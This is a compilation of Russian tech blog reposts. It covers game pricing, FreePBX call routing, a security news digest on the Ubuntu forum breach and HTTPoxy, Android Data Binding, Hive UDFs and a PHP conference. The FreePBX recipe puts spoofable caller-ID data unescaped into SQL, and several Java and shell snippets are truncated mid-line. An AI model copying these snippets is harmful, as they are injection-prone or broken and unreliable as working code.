напишут обзор по своим впечатлениям. Но я надеюсь, что таких будет меньшинство.) Мы увидим, что они могут сказать о качестве игры. Шаг 2 — рассказываем об игре миру: ну, на самом деле мы пытались сделать лучшее из того, что у нас есть. Том подготовил горы интервью для прессы. Каждый месяц мы выкладывали для прессы множество постепенно разрастающихся билдов, чтобы журналисты с каждым разом могли узнавать об игре чуть больше. Мы показывали игру на таких выставках, как E3 и IndieCade, и собираемся в тур по всей стране, чтобы показывать игру в течение ближайшей пары недель на GDC, PAX East и SXSW. Sony оказала нам огромную помощь, предоставив форум для обсуждения игры в PlayStation Blog и демонстрируя её в точках своих розничных продаж. С большим бюджетом на рекламу мы смогли бы ещё сильнее распространить информацию, но я думаю, мы сделали всё, что могли. Шаг 3 — полностью пройдя Axiom Verge уже 5 раз, я абсолютно уверен, что покупка за $19,99 — это выгодная сделка. (И снова пристрастность!) Мы не огласили пока наших планов на ценовое стимулирование, так что я могу сделать это здесь. Sony только что объявила, что Axiom Verge станет участвовать в распродаже Spring Fever. Все игры этой распродажи в течение недели с их выпуска будут стоить на 10% дешевле для подписчиков PlayStation Plus. Я доволен этим, потому что если и есть кто-то, достойный скидки, то это конечно же наши самые горячие поклонники, которые поддерживали нас всё это время! После первой недели я не буду делать скидок на Axiom Verge в течение 6 месяцев после выпуска. Это означает, что первая скидка возможна в октябре 2015 года. Если точнее, мы пока не решили, будет ли распродажа в октябре. Мы просто приняли решение не давать скидок раньше этого срока. Объявляя наши планы, я стремлюсь решить два вопроса: во-первых, я надеюсь, что люди, желающие заплатить полную цену, не подумают, что совершили ошибку. Во-вторых, я надеюсь, что игроки, считающие $19,99 слишком большой ценой, смогут сделать более обоснованное решение. Если они хотят ждать снижения стоимости до, скажем, $14,99, то пусть сами рассудят, стоят ли $5 шести месяцев ожидания. Для некоторых это может быть и так, а для кого-то нет. И это вполне нормально. Я хочу, чтобы покупатели принимали обоснованные решения с как можно большей доступной информацией, и не хочу разочарований игроков. Потому что мы хотим, чтобы людей радовало то, что они покупают. И в этом мы все единодушны. P.S. от переводчика: Axiom Verge вышла в марте 2015 года и получила очень хорошие отзывы. На сайте axiomverge.com она по-прежнему продаётся за $19,99 (на других площадках есть скидки, конечно же).

Метки:  

FreePBX: простейший набор ответственного за клиента

Воскресенье, 31 Июля 2016 г. 16:37 + в цитатник
Снова здравствуйте! Сегодня я хочу рассказать о такой полезной функции, как автоматический набор ответственного менеджера. Эта фишка значительно экономит время и, главное — нервы Вашего клиента. Ну и еще немного денег, если Вы любите очереди с длинными приветствиями. Представьте — как это приятно клиенту. Он звонит на тот же номер, на который звонил в первый раз, но сразу попадает на своего менеджера — конечно, если он свободен. Без приветствий, секретарей, ожиданий в очереди и прочего. Секретарю, кстати, тоже будет проще. Обычно для этого нужна связь с Вашей системой учета (CRM) — если, конечно, она у Вас есть. Это непросто и недешево (опять же — обычно, я делаю для своих клиентов это недорого :). Но что делать, если системы учета, где хранятся связи между номерами клиентов и их ответственными — нет, либо существуют трудности с интеграцией телефонии и системы учета? Возможно, Вам подойдет простое решение. Это выбор из CDR (отчеты о звонках) последнего звонка клиента на короткий внутренний номер и маршрутизация на него. Если такого звонка в базе нет — то клиент попадет в общую очередь. Если секретарь перевел(а) клиента на менеджера — менеджер стал ответственным. Минус системы — ответственным становится последний, который принял звонок или на которого перевели звонок. Короче, система маршрутизирует клиента на последнего, с кем говорил клиент. Без пап, мам и кредитов :) Если такой путь — Ваш, то велком. По традиции, все только в вебморде. Все происходит на FreePBX 2.11 / Asterisk 11.x. Но уверен, что для других версий и/или систем на базе Asterisk сделать так же — не проблема. Нам понадобится модуль Smart Routes. Модуль с исправленным мною html можно взять тут: yadi.sk/d/UE1dr4kctkNCH Модуль выглядит устрашающе, но для нашей задачи он подойдет с минимальными изменениями от дефолта. Находим модуль в новом пункте меню Other и создаем новый маршрут. Самое интересное тут — это SQL-запрос к таблице `cdr` базы `asteriskcdrdb`, которая скорее всего у Вас доступна через ODBC. Глянуть название элемента ODBC можно в файле res_odbc_additional.conf Сам запрос: SELECT `dst` FROM `cdr` WHERE `src` = '${CALLERID(num)}' AND `disposition` = 'ANSWERED' AND `dst` LIKE '1__' AND `lastapp` = 'DIAL' AND `billsec` > 5 ORDER BY `calldate` DESC LIMIT 1 Он отберет одну запись, где источником является номер звонящего, номер назначения начинается на «1» и в длину 3 символа, статус звонка: отвеченный и длительность этого ответа будет более 5 секунд. Сортировка отберет именно последнюю по дате запись. В модуль этот запрос вернет конкретный внутренний номер, например, 101. Но его еще надо правильно маршрутизировать. Для этого придется в секции Destinations перечислить все возможные варианты и настроить их: Указываем маршруты по совпадению и в случае неответа. Обычно это общая очередь или группа, или другая точка входа. Её же указываем как Default Destination. Ниже, в секции Database Settings, настраиваем доступ к MYSQL и базе. Обычно это ODBC, требуется указать наименование dsn для доступа к таблице. Если Ваш CDR работает, то в системе он уже есть: Либо настройте доступ по «устаревшим» хосту, логину, паролю и наименованию базы. Останется указать модуль Smart Routes и наш маршрут в Inbound Routes, и все начинает работать. Эта настройка с проверкой заняла у меня в десять раз меньше времени, чем написание этой статьи. Всем спасибо за Ваше время! Ну, а я пошел готовиться на море, не зря же я к нему переехал три месяца назад :)

Метки:  

Security Week 29: утечка на форуме Ubuntu, прокси-уязвимость в PHP, Go и Python, 276 заплаток Oracle

Суббота, 23 Июля 2016 г. 16:46 + в цитатник
14 июля в Canonical узнали, что кто-то владеет (возможно и пытается продать) базой логинов и паролей двух миллионов пользователей форумов Ubuntu. Расследование быстро показало, что информация похожа на правду, после чего форумы были просто временно отключены. Надо сказать, это очень правильный ход, хотя в другой компании и в другой ситуации на него могли бы и не решиться: как же так, ведь все узнают, что у нас проблемы с безопасностью, а так может никого и не взломают. Собственно, мы все это знаем благодаря подробному описанию инцидента на сайте разработчиков Ubuntu, так что вроде бы все закончилось хорошо. Или нет? Утечка (подробное описание событий в этой новости) началась со эксплуатации уязвимости в плагине Forumrunner, установленного на vBulletin, при помощи SQL-инъекции. Атака стала возможной из-за использования устаревшей версии плагина. Инъекция открыла доступ на чтение ко всей базе данных форума, но, как утверждает Джейн Сильбер, директор Canonical, взломщику удалось скачать только часть пользовательской базы с «устаревшими» паролями, которые к тому же были захешированы с солью. В том, что актуальные пароли не утекли, в Canonical уверены. Также там предполагают, что взломщику не удалось развить атаку и получить доступ к чему-то еще. При всем образцовом поведении компании данном случае, нельзя не отметить эту общую неуверенность. Иными словами — убедились там, где это позволяли сделать логи, а дальше — ну кто ж его знает. Вроде бы все хорошо, тем более, что прежде чем поднимать форум, его чуть ли не переустановили с нуля. История с хэппи-эндом, но пожалуй с чем нужно бороться в сфере ИБ, так именно с подобной неуверенностью. Ну и узнавать о взломе хочется не от доброжелателей, а самостоятельно, и сразу, но тут уж как повезет. HTTPoxy: уязвимость в реализации интерфейса CGI затрагивает большое количество сетевого софта Новость. У нас еще одна уязвимость с привлекательным брендом и даже логотипом, но кажется мы к такому уже привыкли. Тем более, что уязвимость заслуживает внимания широченным охватом подверженного софта. Как правило такие универсальные дыры обнаруживаются в многократно используемых библиотеках: можно вспомнить прошлогодний пример с Apache Commons Collections. HTTPoxy (сайт уязвимости) круче по радиусу поражения, так как это уязвимость не в софте, а в реализации интерфейса CGI. Это, например, стандартные библиотеки для языков программирования PHP, Go и Python, и соответственно, реализованные на них веб-приложения и скрипты. Таких существует огромное количество, как готовых, так и самописных, и лучшее решение — заблокировать возможность эксплуатации уязвимости для всего сразу, внеся изменения в конфиги Apache, NGINX, lighttpd и прочего софта. А суть уязвимости довольно простая. В ситуации, когда требуется задать рабочему окружению в Linux прокси-сервер для доступа к сети, для этого часто используется переменная HTTP_PROXY. В некоторых реализациях интерфейса CGI описывается заголовок Proxy, который может быть передан серверу во время обмена данными, и на стороне сервера эта информация сохраняется в переменную HTTP_PROXY. Собственно все, проблема как раз конфликте имен, и это позволяет во многих ситуациях направлять данные через прокси-сервер, который был задан снаружи. Кем угодно, что ведет к атаке типа Man in the middle. Что интересно, спецификации на переменную нигде толком (например в документе RFC 3875) не прописаны. Решение очевидно: нужно заблокировать передачу такого заголовка. Но это для начала, а вообще надо править реализацию обработки данной переменной везде, где только можно. Fun fact на закуску: уязвимости 15 лет. Впервые ее обнаружили и пофиксили в библиотеке libwww_perl в марте 2001 года. В апреле того же года исправили аналогичную проблему в утилите curl. В 2012 году избежали уязвимой реализации стандарта разработчики Ruby (и написали об этом в документации). В 13-м и 15-м годах, по данным исследователей HTTPoxy, компании VendHQ, проблема несколько раз всплывала на форумах и в почтовых рассылках. В одном случае топикстартер был настолько поражен банальностью беды, что добавил «наверняка я здесь что-то упустил». Но нет. Хорошая история про особое направление в безопасности: правильный сбор, обработка и интерпретирование доступной всем (годами!) информации. Oracle закрывает 276 уязвимостей в своих продуктах Новость. В январе этого года Oracle выпустила рекордный кумулятивный патч, закрыв одним махом 248 уязвимостей. В июле рекорд побит с запасом: ежемесячный security-апдейт закрывает 276 уязвимостей в 84 продуктах. Зная, как сложно тестировать сразу много продуктов в разных сценариях, эту новость нужно безусловно оценить как в положительную, хотя в конце года вендор наверняка попадет в очередной некорректный список самых небезопасных разработчиков. Впрочем, выявленные проблемы от этого проще не становятся: из 276 уязвимостей 159 могут быть эксплуатированы удаленно, 19 (в девяти продуктах) оценены в 9,8 балла по шкале CVSS. Впрочем, в Java, некогда самой часто атакуемой программе, а ныне уступившей сомнительное лидерство Adobe Flash, обнаружено и закрыто всего 13 уязвимостей, из них 9 с возможностью удаленной эксплуатации. Это третья на сегодня новость с эффектом «ложечки нашлись, осадочек остался». Oracle, конечно, молодцы. Но не думаю, что администраторы корпоративного софта Oracle будут сильно рады необходимости все бросить и накатывать столь гигантские патчи. А ведь придется. Что еще произошло: Развивается тема поведенческого анализа и блокирования криптолокеров по характеру изменения шифруемых данных. Исследователи из двух американских университетов разработали алгоритм, который задетектировал все из 500 (не так уж много для серьезного теста) сэмплов троянов-вымогателей. Но, увы, с потерей файлов, видимо, по причине того, что алгоритм распознавал характерные изменения не сразу. В каждом из тестов трояны что-то, да успевали зашифровать. В зависимости от ситуации терялись от 3 до 29 файлов. Закрыта уязвимость в сетевых устройствах Juniper. В дарквебе нашли супердешевый троян-вымогатель, всего 39 долларов. С каждой жертвы требуют около 600 долларов и, что необычно, по истечении определенного времени начинают потихоньку удаляться зашифрованные файлы. Криминальный бизнес класса эконом. Древности: «V-1260» Нерезидентный безобидный вирус-«призрак». Поражает .COM-файлы по алгоритму вирусов «Vienna». Зашифрован, при этом использует два интересных алгоритма. Первый алгоритм реализует свойство «призрака», благодаря чему два штамма этого вируса с большой вероятностью не будут совпадать ни на одном байте. Основное тело вируса шифруется в зависимости от таймера по 16777216 вариантам, а расшифровщик выбирается из более чем 3,000,000,000,000,000,000,000 вариантов (длина расшифровщика — 39 байт). Второй алгоритм достаточно успешно мешает трассировке вируса — используется динамическое рас/зашифрование кодов вируса при помощи int 1 и int 3. Цитата по книге «Компьютерные вирусы в MS-DOS» Евгения Касперского. 1992 год. Страницa 90. Disclaimer: Данная колонка отражает лишь частное мнение ее автора. Оно может совпадать с позицией компании «Лаборатория Касперского», а может и не совпадать. Тут уж как повезет.

Метки:  

[Из песочницы] Android и Data Binding: обработка действий

Вторник, 19 Июля 2016 г. 20:32 + в цитатник
Не так давно закончили разработку приложения, в котором пришлось обрабатывать одинаковые действия (actions) в различных местах приложения. Казалось бы, стандартная ситуация, и, как всегда, разработчики — ленивые, клиент — сделайте все вчера, у нашего клиента есть свой клиент, и ему — всё нужно позавчера. А значит, сделать все нужно просто, красиво и, главное — меньше лишних строк кода. Особенностью проекта было то, что большая часть экранов содержала одинаковые или очень похожие сущности и позволяла пользователям выполнять над ними ряд одинаковых действий. О том, как мы решили данную задачу, и будет рассказано в этой статье. Исходные данные Если вы знаете, что такое Instagram, то, добавив слова «закрытый, корпоративный» сможете четко представить суть нашего проекта. Если вкратце, то это закрытая социальная сеть с возможностью публиковать короткие заметки с фото или видео контентом, просматривать их, комментировать, «лайкать», добавлять авторов в список избранных и отдельно отслеживать их публикации, искать друзей, искать публикации и т.п. Каждая публикация может принадлежать разным регионам и быть в одной или нескольких категориях. Итого имеем несколько экранов («скринов»): список публикаций для конкретной категории, детализация публикации, список комментариев, список отслеживаемых пользователей (following), их публикации, список тех, кто следит уже за тобой (followers), форму профиля пользователей с кучей рейтингов, счетчиков, аватаркой и т.п. Почти на каждом скрине есть аватарки пользователей (либо собственно список пользователей, либо публикация с аватаркой и именем автора, либо комментарий конкретного пользователя). Также, на разных скринах есть кнопки Follow/Unfollow, Like/Dislike, теги категорий и прочие. Кликнув по аватарке нужно открыть профиль пользователя. Кликнув по статье — открыть ее детализацию. Кликнув по иконке «Like» или «Follow» — ну вы поняли… Применяемый подход Подходя к делу привычным способом, дело решается не так и сложно. К примеру, по клику открываем профиль пользователя: findViewById(R.id.some_id).setOnClickListener((v) -> openUserProfile()); void openUserProfile(){ Intent = new Intent(this, ProfileActivity.class); intent.putExtra(USER_ID, userId); startActivity(); } В случае «Like» или «Follow» уже посложнее, нужно делать запрос на сервер, ждать его ответа и, в зависимости от результата, менять представление кнопки в конкретном элементе списка. В принципе, тоже ничего сложного. Но, поскольку и «Like» и «Follow» могут быть во многих местах приложения, для облегчения повторного использования логично делегировать их обработку отдельным классам, что в итоге и было сделано. Такие обработчики действий назвали «Action» (FollowUserAction, LikeAction, OpenProfileAction, ...). Все action, обрабатываемые на конкретном скрине собираются и запускаются через некий менеджер ActionHandler. В итоге, открытие того-же экрана профиля пользователя будет выглядеть таким образом: mActionHandler = new ActionHandler.Builder() .addAction(ActionType.PROFILE, new OpenProfileAction()) .build(); findViewById(R.id.some_id).setOnClickListener((v) -> openUserProfile()); ... void openUserProfile(){ mActionHandler.fireAction(ActionType.PROFILE, user); } Хорошо, идем дальше. Чтобы еще уменьшить количество лишнего кода — подключаем поддержку Android Data Binding и в коде бизнес логики оставляем только ActionHandler. То, какое действие выполнять и по клику на какую кнопку пропишем в самом layout файле. Например, для экрана со списком публикаций, имеем: mBinding = DataBindingUtil.inflate(..., R.layout.item_post); mBinding.setActionHandler(getActionHandler()); mBinding.setPost(getPost()); void initActionHandler() { mActionHandler = new ActionHandler.Builder() .addAction(ActionType.PROFILE, new OpenProfileAction()) .addAction(ActionType.COMMENTS, new OpenCommentsAction()) .addAction(ActionType.POST_DETAILS, new OpenPostDetailsAction()) .addAction(ActionType.FOLLOW, new FollowUserAction()) .addAction(ActionType.LIKE, new LikeAction()) .addAction(ActionType.MENU, new CompositeAction((TitleProvider)(post) -> post.getTitle(), new ActionItem(ActionType.SOME_ACTION_1, new SomeMenuAction(), "Title 1"), new ActionItem(ActionType.SOME_ACTION_2, new SomeMenuAction(), "Title 2"), new ActionItem(ActionType.SOME_ACTION_3, new SomeMenuAction(), "Title 3"), .build(); } item_post.xml <layout> <data> <variable > Теперь, если, например, на каком-то экране нужно будет заблокировать открытие профиля по клику, или добавить/убрать пункт меню, отображаемый по длинному нажатию >), все что нужно сделать — добавить или удалить в одном месте соответствующую Action. Использование Data Binding также позволяет из самой Action поменять модель (например, добавить «лайк») и сразу-же увидеть изменения на экране без каких-либо дополнительных коллбеков, вызывающих notifyDataSetChanged() для RecyclerView. Вот примеры некоторых action: public class OpenProfileAction extends IntentAction<IUserHolder> { @Override public boolean isModelAccepted(Object model) { return model instanceof IUserHolder; } @Nullable @Override public Intent getIntent(@Nullable View view, Context context, String actionType, IUserHolder model) { return ProfileActivity.getIntent(context, model); } @Override protected ActivityOptionsCompat prepareTransition(Context context, View view, Intent intent) { // Prepare shared element transition Activity activity = getActivityFromContext(context); if (activity > Итоги Таким образом, получилось организовать очень гибкую и, надеюсь, довольно понятную логику обработки действий в приложении. В итоге идея развивалась, прошла еще два других проекта, и, в конце-концов, воплотилась в небольшую библиотеку — action-handler. Сейчас в ней есть заготовки для таких часто встречаемых action: .IntentAction — для запуска Activity, старта Service, или отправки Broadcast; .DialogAction — для любых действий, требующих сперва показать диалог для подтверждения; .RequestAction — для выполнения запросов в интернет; .CompositeAction — Составная, может содержать другие action и отображать их в виде меню/списка. Ссылки Библиотека с простенькими примерами — https://github.com/drstranges/ActionHandler

Метки:  

Big Data от A до Я. Часть 5.2: Продвинутые возможности hive

Понедельник, 18 Июля 2016 г. 21:22 + в цитатник
Привет, Хабр! В этой статье мы продолжим рассматривать возможности hive — движка, транслирующего SQL-like запросы в MapReduce задачи. В предыдущей статье мы рассмотрели базовые возможности hive, такие как создание таблиц, загрузка данных, выполнение простых SELECT-запросов. Теперь поговорим о продвинутых возможностях, которые позволят выжимать максимум из Hive. User Defined Functions Одним из основных препятствий при работе с Hive является скованность рамками стандартного SQL. Эту проблему можно решить при помощи использования расширений языка — так называемых «User Defined Functions». Довольно много полезных функций встоено прямо в язык Hive. Приведу несколько самых интересных на мой взгляд(информация взята из оффициальной документации): Json Довольно частой задачей при работе с большими данынми является обработка неструктурированных данных, хранящихся в формате json. Для работы с json hive поддерживать специальный метод get_json_object, позволяющий извлекать значения из json-документов. Для извлечения значений из объекта используется ограниченная версия нотации JSONPath. Поддерживаются следующие операции: $: Возвращает корневой объект .: Вовзращает объект-ребенок []: Обращение по индексу в массиве *: Wildcard для Примеры работы с Json из оффициальной документаци: Пусть есть таблица: src_json, состоящаяя из одной колонки(json) и одной строки: {"store": {"fruit":\[{"weight":8,"type":"apple"},{"weight":9,"type":"pear"}], "bicycle":{"price":19.95,"color":"red"} }, "email":"amy@only_for_json_udf_test.net", "owner":"amy" } Примеры запросов к таблице: hive> SELECT get_json_object(src_json.json, '$.owner') FROM src_json; amy hive> SELECT get_json_object(src_json.json, '$.store.fruit\[0]') FROM src_json; {"weight":8,"type":"apple"} hive> SELECT get_json_object(src_json.json, '$.non_exist_key') FROM src_json; NULL Xpath Аналогично, если данные которые необходимо обрабатывать при помощи hive хранятся не в json, а в XML — их можно обрабатыватывать при помощи функции xpath, позвоялющей парсить XML при помощи соответствующего языка. Пример парсинга xml-данных при помощи xpath: hive> select xpath('<a><b>b1</b><b>b2</b></a>','a/*/text()') from sample_table limit 1 ; ["b1","b2"] Другие полезные встроенные функции: Встроенная библиотека содержит довольно богатый набор встроенных функций. Можно выделить несколько групп: Математические функции (sin, cos, log, …) Функции работы со временем(from_unix_timestamp, to_date, current date, hour(string date), timediff, …) — очень богатый выбор функций для преобразования дат и времени Функции для работы со строками. Поддерживаются как общеприменимые функции, такие как lengh, reverse, regexp, так и специфичные — типа parse_url или уже рассмотренной get_json_object) Много различных системных функций — current_user, current_database, … Криптографические функции — sha, md5, aes_encrypt, aes_decrypt... Полный список встроенных в hive функций можно найти по ссылке. Написание собственных UDF Не всегда бывает достаточно встроенных в hive функций для решения поставленной задачи. Если встроенной функции не нашлось — можно написать свою UDF. Делается это на языке java. Разберем создание собственной UDF на примере простой функции преобразования строки в lowercase: 1. Создадим пакет com/example/hive/udf и создадим в нем класс Lower.java: mkdir -p com/example/hive/udf edit com/example/hive/udf/Lower.java 2. Реализуем собственно класс Lower: package com.example.hive.udf; import org.apache.hadoop.hive.ql.exec.UDF; import org.apache.hadoop.io.Text; public final class Lower extends UDF { public Text evaluate(final Text s) { if (s > 3. Добавим необходимые библиотеки в CLASSPATH (в вашем hadoop-дистрибутиве ссылки на jar-файлы могут быть немного другими): export > 4. Компилируем нашу UDF-ку и собираем jar-архив: javac com/example/hive/udf/Lower.java jar cvf my_udf.jar * 5. Для того чтобы можно было использовать функцию в hive — нужно явно ее декларировать: hive> ADD JAR my_udf.jar; hive> create temporary function my_lower as 'com.example.hive.udf.Lower'; hive> select my_lower('HELLO') from sample_table limit 1; hello Трансформация таблицы при помощи скриптов Еще одним способом расширения стандартного функционала HIVE является использование метода TRANSFORM, который позволяет преобразовывать данные при помощи кастомных скриптов на любом языке программирования(особенно это подходит тем кто не любит java и не хочет писать на ней udf-ки). Синтаксис для использования команды следующий: SELECT TRANSFORM(<columns> ) USING <script> as <new_columns> <script> — в данном случае это программа, которая получает данные на stdin, преобразует их и выдает на stdout преобразованные данные. По сути это очень похоже на streaming-интерфейс к запуску map-reduce задач, о котором мы писали в статье Big Data от А до Я. Часть 2: Hadoop Пример: Пусть у нас есть таблица с зарплатами пользователей, получающих зарплату в разной валюте: +-------------------+---------------------+-----------------------+ | user_salary.name | user_salary.salary | user_salary.currency | +-------------------+---------------------+-----------------------+ | alexander | 100000 | RUB | | evgeniy | 4000 | EUR | | alla | 50000 | RUB | | elena | 1500 | EUR | +-------------------+---------------------+-----------------------+ Мы хотим получить табличку, в которой будут рублевые зарплаты для всех пользователей. Для этого напишем скрипт на python, который выполняет преобразование данных: import sys EXCHANGE_RATE = 75 for line in sys.stdin: name, salary, currency = line.rstrip("\n").split('\t') if currency == 'EUR': print name + "\t" + str(int(salary) * EXCHANGE_RATE) else: print name + "\t" + salary Скрипт подразумевает что данные на вход поступают в tsv-формате(колонки разделены знаком табуляции). В случае если в таблице встретится значение NULL на вход скрипта попадет значение ‘\N’ Дальше используем этот скрипт для преобразования таблицы: 0: jdbc:hive2://localhost:10000/default> select transform(name, salary, currency) using 'python transform_to_rub.py' as (name, rub_salary) from user_salary; +------------+-------------+ | name | rub_salary | +------------+-------------+ | alexander | 100000 | | evgeniy | 300000 | | alla | 50000 | | elena | 112500 | +------------+-------------+ По сути использование операции TRANSFORM дает возможность полностью заменить классический MapReduce при помощи hive. MapJoin Как мы писали в статье про приемы и стратегии работы с MapReduce — для реализации JOIN’a двух таблиц в общем необходимо несколько MapReduce задач. Так как hive работает именно на MapReduce — то JOIN для него также является дорогой операцией. Однако если одна из двух таблиц, которые необходимо сджойнить полностью влазит в оперативную память какждой ноды — можно обойтись одним MapReduce, загрузив табличку в память. Этот паттерн называется MapJoin. Для того чтобы Hive использовал именно MapJoin — необходимо дать ему подсказку(«hint» в терминологии Hive). Пример: SELECT /*+ MAPJOIN(time_dim) */ COUNT(*) from store_sales JOIN time_dim on (ss_sold_time_sk = t_time_sk) В этом примере подразумевается что таблица «store_sales» — большая, а таблица «time_dim» — маленькая и влазит в память. /*+ MAPJOIN(time_dim) */ — это и есть та самая подсказка для для HIVE о запуске задачи MAPJOIN-задачи Транзакционная модель Транзакционная модель ACID подразумевает поддержку 4х основных свойств: Атомарность — операция либо целиком выполняется полностью изменяя данные, либо падает и не оставляет за собой следов. Консистентность — после того как приложение выполняет операцию ее результат становится доступным для всех последующих операций. Изоляция — операции одних пользователей не имеют побочных эффектов на других пользователей. Долговечность — изменения сделанные в результате успешной опрации сохраняют результат даже в случае системного сбоя. Вообще говоря Hive не очень хорошо подходит для работы с изменяющимися данными, однако есть несколько кейсов, где поддержка изменяющихся данных необходима. В первую очередь это: Данные, добавляющиеся в потоковом режиме(из таких систем, как flume, kafka). Хочется чтобы данные были доступны для анализа в hive сразу как они поступили Обновление схемы — например добавление новой колонки в таблицу hive. Хочется чтобы колонка либо успешно добавилась к каждой записи, либо упала и не добавилась ни к одной Иногда все-таки необходимо обновление отдельных записей. Для этих целей в hive начиная с версии 0.14 была реализованна поддержка транзакционной модели, реализуемая тремя операциями — INSERT, UPDATE и DELETE. Поддержка этих операций очень ограниченна: На данный момент поддерживаются только файлы формата ORC По умолчанию поддержка транзакций отключена. Для включения необходимо внести соответствующие изменения в конфигурационный файл hive. Нет поддержки команд BEGIN, COMMIT, ROLLBACK привычных по реляционным базам данным. Поддержка транзакций реализована при помощи дельта-файлов. То есть при выполнеии операции обновления данных данные в исходном файле не обновляются, а создается новый файлик где отмечено какие строки были измененеы. Позже hive их объеденит при помощи операции compaction(аналогичная используется в hbase). В общем, так как поддержка транзакций очень сильно лимитирована — стоит очень серьезно подумать перед тем как использовать этот функционал в Hive. Возможно стоит посмотреть в сторону HBase или традиционных реляционных баз данных. Заключение В этой и предудщей статье цикла мы рассмотрели основные возможности Hive — мощного инструмента, облегчающего работу с MapReduce задачами. Hive прекрасно подходит аналитикам, привыкшим работать с SQL, может быть легко интегрирован в существующую инфраструктуру при помощи поддержки драйвера JDBC, а с учетом поддержки User Defined Functions и кастомных трансформаций — позволяет полностью перевести процессинг данных с классического MapReduce на себя. Однако hive не является «серебрянной пилюлей» — для часто обновляемых данных можно можно посмотреть в сторону таких инструментов как Hbase и классические реляционые базы данных. В следующих статьях цикла мы продолжим рассмотрение инструментов для работы с большими данными и методах их обработки.

Метки:  

Впечатления от лучших докладов на International PHP Conference

Воскресенье, 17 Июля 2016 г. 14:49 + в цитатник
В начале июня в Берлине прошла одна из самых продвинутых конференций по PHP — International PHP Conference 2016. В качестве докладчиков в ней приняли участие такие специалисты, как Себастьян Бергман, Арне Бланкертс, Стефан Прибш и еще более 50 человек, которые вносят свой постоянный вклад в развитие PHP. Конференция проводилась в шикарном 4-х звездочном отеле Маритим Проарте. Доклады читались в несколько параллельных потоков на английском и немецком и затрагивали как непосредственно PHP-разработку, так и околодевелоперские темы: инфраструктуру, серверное ПО, open source-разработку и многое другое. Отдельно хочется отметить ключевые доклады, которые зажигали то искрометным юмором, то глубиной затрагиваемых тем. В этой статье мы собрали свои впечатления от самых крутых докладов, с ссылками на презентации и примеры. PHP 7: каков он? (Себастьян Бергман) Себастьян добирался до Берлина с приключениями — технические неполадки с самолетом, выявленные прямо перед вылетом (хорошо, что не после!). Поэтому его доклад был перенесен на более поздний срок. Но ожидание стоило того! Докладчик очень основательно подошел к содержанию своей речи. Основной целью его было не оставить у слушателей ни единого пробела в понимании роли и места PHP 7 в огромном мире современных языков программирования. Для этого Себастьян прошелся очень подробно по принципам работы многих языков. Было уделено особое внимание истории развития и парадигмам программирования. Докладчик показал на примерах, как язык менялся от версии к версии, какие новые черты приобретал, и на сколько лучше становился от этого. В итоге можно сказать, что PHP 7 является императивный языком, который поддерживает процедурное, а также объектно-ориентированное программирование. Он имеет ограниченную поддержку функционального программирования. Также существуют расширения для аспектно-ориентированного программирования. PHP 7 динамический, неявно, и слабо типизированный, но при желании поддерживает явную типизацию и строгую проверку типов. Благодаря этому докладу мы смогли глубже понять тот инструмент, с которым мы работаем каждый день. Презентация. Настройка балансировщика уровня Enterprise с бесплатным ПО. (Себастьян Фельдман) Себастьян Фельдман — ведущий разработчик в одной из IT-компании Мюнхена. Он описал, как он настраивает балансировщики нагрузок. Он делает ставку на то, что доступность является ключевым фактором в онлайн-бизнесе, и если веб-сайт или услуга не доступны для клиентов — это всегда плохо для бизнеса. Из доклада мы узнали, как настроить балансировщик, чтобы достичь высокой производительности и высокой доступности под нагрузкой с помощью бесплатного программного обеспечения Nginx и HAProxy. Доклад содержал множество примеров конфигурации, а также обзор инструментов для мониторинга. Особое внимание Себастьян уделил настройке операционной системы: агрегированию сетевых адаптеров, изменению размера TCP-буфера. Докладчик поделился информацией о том, почему увеличивается производительность соединения с использованием протоколов SPDY и http2. Также был очень познавателен его опыт перехода на SSL и проверки соответствия требованиям безопасности (с помощью https://www.ssllabs.com). Очень интересной была часть про стратегии перехода на другой хостинг для веб-серверов. После этого доклада захотелось поглубже заглянуть в настройки наших серверов и внедрить те идеи и наработки, которыми поделился Себастьян Фельдман. Презентация. Just married: NodeJs and PHP (Арне Бланкертс) Когда Node.js впервые открылся миру в 2009 году, многие заявили, что наступает конец PHP. Тем не менее, около шести лет спустя, обе среды живут и процветают, занимая свои ниши! Но почему бы не объединить лучшее, что есть в обоих языках — это может стать отличным решением для покрытия потребностей следующего поколения веб-приложений. Этот доклад познакомил нас с системной и программной архитектурой, которая сочетает в себе Node.js, PHP и Redis и дает действительно мощный веб-стек для решения современных задач. С помощью такого решения можно создавать приложения с постоянным websocket-соединением, в которых сам сервер посылает клиенту информацию по мере необходимости, при этом не создавая дополнительной нагрузки на сеть — ведь соединение постоянное! Доклад понравился именно тем, что данная тема тесно связана с некоторыми текущими проектами, и было очень познавательно узнать подход именно этого именитого специалиста. Презентация. Symfony2 лучшие практики из окопов (Стефан Коопмансхап) Symfony2 отличный фреймворк и на нем довольно легко создать свое первое приложение. У Symfony хорошая документация, но, как и с любой документацией, в ней сложно описать все нюансы и подводные камни документируемого кода. Многие детали и хорошие методики лучше всего познаются при работе над своим проектом. Во время этого доклада Стефан разобрал основные моменты в работе с проектами на Symfony, на которые стоит обратить внимание, поделился с присутствующими знаниями и опытом, добытыми в окопах реальных проектов. В обычных условиях разработчикам пришлось бы уворачиваться от таких спорных моментов, как от пуль в Матрице, самим решать, как лучше поступить, пробовать, искать решение. Будь то вопрос про подробности конфигурации, о которой вы всегда забывали, или как лучше абстрагировать логику в нужных местах, у Стафана, на всё есть мнение, подкрепленное опытом, и он был рад им поделиться. Например использование внедрения зависимостей, работы с конфигурацией проекта, вынесение бизнес-логики в сервисы, или вопросы стандартизации — спектр рассмотренных вопросов был довольно велик. Один из наших проектов, который сейчас находится в разработке, как раз написан с использованием этого фреймворка. Слушая доклад, время от времени ловили себя на мысли, что сами или поступили бы аналогично, или переделали так, как порекомендовал Стефан. Доклад будет интересен начинающим разработчикам, так и тем, кто уже разработал не один проект на Symfony, чтобы еще раз убедиться, что принятые при разработке решения были правильными. Также есть вероятность, что после доклада вы еще раз взглянете на код проекта и поймете, как его можно улучшить. Презентация. Как управлять утилитами проекта в 2016 (Арне Бланкертс, Себастиан Хойер) Сегодня управление зависимостями в PHP проектах осуществляется, в основном, с помощью Composer. В то время, как это является полностью обоснованным для библиотек, управление утилитами при помощи Composer приведет к установке всех зависимостей этих инструментов. Кроме того, что это замедляет установку, еще происходит смешивание этих зависимостей с зависимостями приложения. И хотя многие инструменты доступны как полностью автономные phar-архивы, ручную установку и обновление их трудно назвать удобным процессом. Если бы только был способ автоматизировать это. Именно о phive (phar.io), который был создан для решения этой проблемы, и шла речь в докладе. Арне и Себастьян рассказали подробнее про эту утилиту и показали ее в действии. Проект все еще находится в стадии 